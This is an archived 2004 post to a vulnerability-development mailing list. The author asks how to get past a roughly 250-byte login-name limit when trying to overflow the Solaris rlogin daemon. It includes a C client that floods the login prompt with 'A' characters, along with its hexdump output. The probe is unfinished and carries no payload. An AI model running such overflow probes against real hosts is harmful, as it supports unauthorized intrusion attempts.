Vulnerability Development mailing list archives

Problem rlogin protocol


From: Inode <inode () mediaservice net>
Date: Fri, 02 Apr 2004 15:33:02 +0200

Hi all,
I'm playing with rlogin protocol under Solaris (but I think it's similar to others unix system), and I got some problems.

When I try to send a buffer more than 250 byte as login name the deamon will output 0x7 character (beep). I know that with telnet protocol there are options for permit to use long buffer without any problems (as in Solaris /bin/login exploit), how to do that with rlogin protocol?

Attached a little example that have this problem...

Thanks.

Best regards,

Inode


root# ./y 192.168.1.50 inode 2
[+] Connected to 192.168.1.50...
/* start, 1 bytes */
00                                                | .
/* Reply, 1 bytes */
00                                                | .
/* Rlogin init, 23 bytes */
69 6e 6f 64 65 00 69 6e  6f 64 65 00 76 74 31 30  | inode.inode.vt10
30 2f 39 36 30 30 00                              | 0/9600.
/*  rec, 10 bytes */
50 61 73 73 77 6f 72 64  3a 20                    | Password:
/*  rec, 2 bytes */
0d 0a                                             | ..
/*  rec, 17 bytes */
4c 6f 67 69 6e 20 69 6e  63 6f 72 72 65 63 74 0d  | Login incorrect.
0a                                                | .
/*  rec, 7 bytes */
6c 6f 67 69 6e 3a 20                              | login:
/*  rec, 10 bytes */
41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA
/*  rec, 10 bytes */
41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA
/*  rec, 2 bytes */
0d 0a                                             | ..
/*  rec, 10 bytes */
50 61 73 73 77 6f 72 64  3a 20                    | Password:
root#
root# ./y 192.168.1.50 inode 26
[+] Connected to 192.168.1.50...
/* start, 1 bytes */
00                                                | .
/* Reply, 1 bytes */
00                                                | .
/* Rlogin init, 23 bytes */
69 6e 6f 64 65 00 69 6e  6f 64 65 00 76 74 31 30  | inode.inode.vt10
30 2f 39 36 30 30 00                              | 0/9600.
/*  rec, 10 bytes */
50 61 73 73 77 6f 72 64  3a 20                    | Password:
/*  rec, 2 bytes */
0d 0a                                             | ..
/*  rec, 17 bytes */
4c 6f 67 69 6e 20 69 6e  63 6f 72 72 65 63 74 0d  | Login incorrect.
0a                                                | .
/*  rec, 7 bytes */
6c 6f 67 69 6e 3a 20                              | login:
/*  rec, 10 bytes */
41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA
/*  rec, 10 bytes */
41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA
/*  rec, 10 bytes */
41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA
/*  rec, 10 bytes */
41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA

[...]

41 41 41 41 41 41 41 41  41 41                    | AAAAAAAAAA
/*  rec, 10 bytes */
41 41 41 41 41 41 41 07  07 07                    | AAAAAAA...
/*  rec, 1 bytes */
07                                                | .


/*
        Inode_ <inode () deadlocks info>

*/

#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <arpa/telnet.h>
#include <netdb.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h> 

// Prototypes
void hexdump (char *desc, unsigned char *data, unsigned int amount);
int connect_m ( unsigned long ip, unsigned short int port); 

// Define
#define RLOGIN_PORT     513

#define VERSION         "0.00"

unsigned int    envcount= 0;

void main(int argc, char ** argv)
{
        int fd;
        char * host = argv[1];
        char * username = argv[2];
        int l;
        int i ;

        char buffer[4000];
        char * pointer;
        int j;

        fprintf( stderr, "[ ] Connecting to %s...",host);

        fflush( stderr );

        fd = connect_m ( ntohl((unsigned long)inet_addr(host)) , RLOGIN_PORT);

        if (fd <= 0) {
                fprintf (stderr, "\r[-] Error on connecting\n");
                exit (EXIT_FAILURE);
        } 

        fprintf( stderr, "\r[+] Connected to %s...\t\n",host);
        
        // Inizialize RLOGIN connection
        hexdump( "start", "\x00",1);
        write( fd, "\x00",1);

        // Receive data
        l = read( fd, buffer, sizeof(buffer));
        hexdump( "Reply", buffer,l);

        // Prepare our data. Rlogin protocoll
        pointer = &buffer[0];
        memcpy( pointer, username, strlen(username) + 1);
        pointer += strlen(username) + 1;
        memcpy( pointer, username, strlen(username) + 1);
        pointer += strlen(username) + 1;
        memcpy( pointer, "vt100/9600", strlen("vt100/9600") + 1);
        pointer += strlen("vt100/9600") + 1;

        
        l = pointer - &buffer[0];

        hexdump( "Rlogin init", buffer, l);
        write( fd, buffer, l);
        l = read( fd, buffer, sizeof(buffer));
        hexdump( " rec", buffer,l);     


        // Send a fake password
        sprintf( buffer, "sarca\n");
        write( fd, buffer, strlen(buffer));
        
        l = read( fd, buffer, sizeof(buffer));
        hexdump( " rec", buffer,l);

        // Read login incorrect
        l = read( fd, buffer, sizeof(buffer));
        hexdump( " rec", buffer,l);

        // Read login prompt
        l = read( fd, buffer, sizeof(buffer));
        hexdump( " rec", buffer,l);

        // Sending login overflow...
        buffer[0] = 0;
        for( i = 0; i < atoi(argv[3]); i++ ) {
                
                sprintf(buffer,"AAAAAAAAAA");
                write( fd, buffer, strlen(buffer));

                // Read output
                l = read( fd, buffer, sizeof(buffer));
                hexdump( " rec", buffer,l);
        }

        sprintf(buffer,"\n");
        write( fd, buffer, strlen(buffer));

        // Read output
        l = read( fd, buffer, sizeof(buffer));
        hexdump( " rec", buffer,l);

        // Read output
        l = read( fd, buffer, sizeof(buffer));
        hexdump( " rec", buffer,l);


        close( fd );
}


int connect_m (unsigned long ip, unsigned short int port)
{
        int sock, flags, flags_old, retval, sock_len;
        struct sockaddr_in sin;
        struct timeval tv;
        fd_set rfds;
        struct sockaddr_in      in_s;



        if( ( sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) ) < 0){
                fprintf(stderr, "Can't create  socket try to decrase the number\
                of threads...\n");
                perror("socket");
                return -1;
        }

        // Set connection varibles      
        sin.sin_family = AF_INET;
        sin.sin_addr.s_addr = ntohl( ip );
        sin.sin_port = htons( port );

        // Bind to a port < 1024 (rlogin & rsh protocol)
        in_s.sin_addr.s_addr = INADDR_ANY;
        in_s.sin_family = AF_INET;

        in_s.sin_port = htons(1023);

        while( bind(sock, (struct sockaddr*)&in_s, sizeof(in_s)) != 0 ) {
                in_s.sin_port--;
                if( in_s.sin_port < htons(1) ) {
                        fprintf(stderr, "Can't bind port <1024\n");
                        exit(0);
                }
        }


        // Set Non Blocking Socket
        flags_old = fcntl( sock, F_GETFL,0);
        flags = flags_old;
        flags |= O_NONBLOCK;
        fcntl( sock, F_SETFL, flags);

        // Connect
        if( connect(sock, (struct sockaddr*) &sin, sizeof(sin) ) == 0 )
                return sock;
 
        // Set timeout
        tv.tv_sec = 30;
        tv.tv_usec = 0;

        FD_ZERO(&rfds);
        FD_SET(sock, &rfds);
        
        retval = select(FD_SETSIZE, NULL, &rfds, NULL, &tv);

        // if retval < 0 error
        if( retval < 0 ) {
                close( sock );
                return -1;
        }
        sock_len = sizeof( sin );

        // Check if port closed
        if( retval ) 
                if( getpeername( sock, (struct  sockaddr  *) &sin, &sock_len) < 0 ) {
                        close( sock );
                        return -1;
                } else {
                        fcntl( sock, F_SETFL, flags_old);
                        return sock;
                }
        close( sock );
        return -1;


} 

void hexdump (char *desc, unsigned char *data, unsigned int amount)
{
        unsigned int    dp, p;  /* data pointer */
        const char      trans[] =
                "................................ !\"#$%&'()*+,-./0123456789"
                ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
                "nopqrstuvwxyz{|}~...................................."
                "....................................................."
                "........................................";


        printf ("/* %s, %u bytes */\n", desc, amount);

        for (dp = 1; dp <= amount; dp++) {
                fprintf (stderr, "%02x ", data[dp-1]);
                if ((dp % 8) == 0)
                        fprintf (stderr, " ");
                if ((dp % 16) == 0) {
                        fprintf (stderr, "| ");
                        p = dp;
                        for (dp -= 16; dp < p; dp++)
                                fprintf (stderr, "%c", trans[data[dp]]);
                        fflush (stderr);
                        fprintf (stderr, "\n");
                }
                fflush (stderr);
        }
        if ((amount % 16) != 0) {
                p = dp = 16 - (amount % 16);
                for (dp = p; dp > 0; dp--) {
                        fprintf (stderr, "   ");
                        if (((dp % 8) == 0) && (p != 8))
                                fprintf (stderr, " ");
                        fflush (stderr);
                }
                fprintf (stderr, " | ");
                for (dp = (amount - (16 - p)); dp < amount; dp++)
                        fprintf (stderr, "%c", trans[data[dp]]);
                fflush (stderr);
        }
        fprintf (stderr, "\n");

        return;
} 
 

Current thread: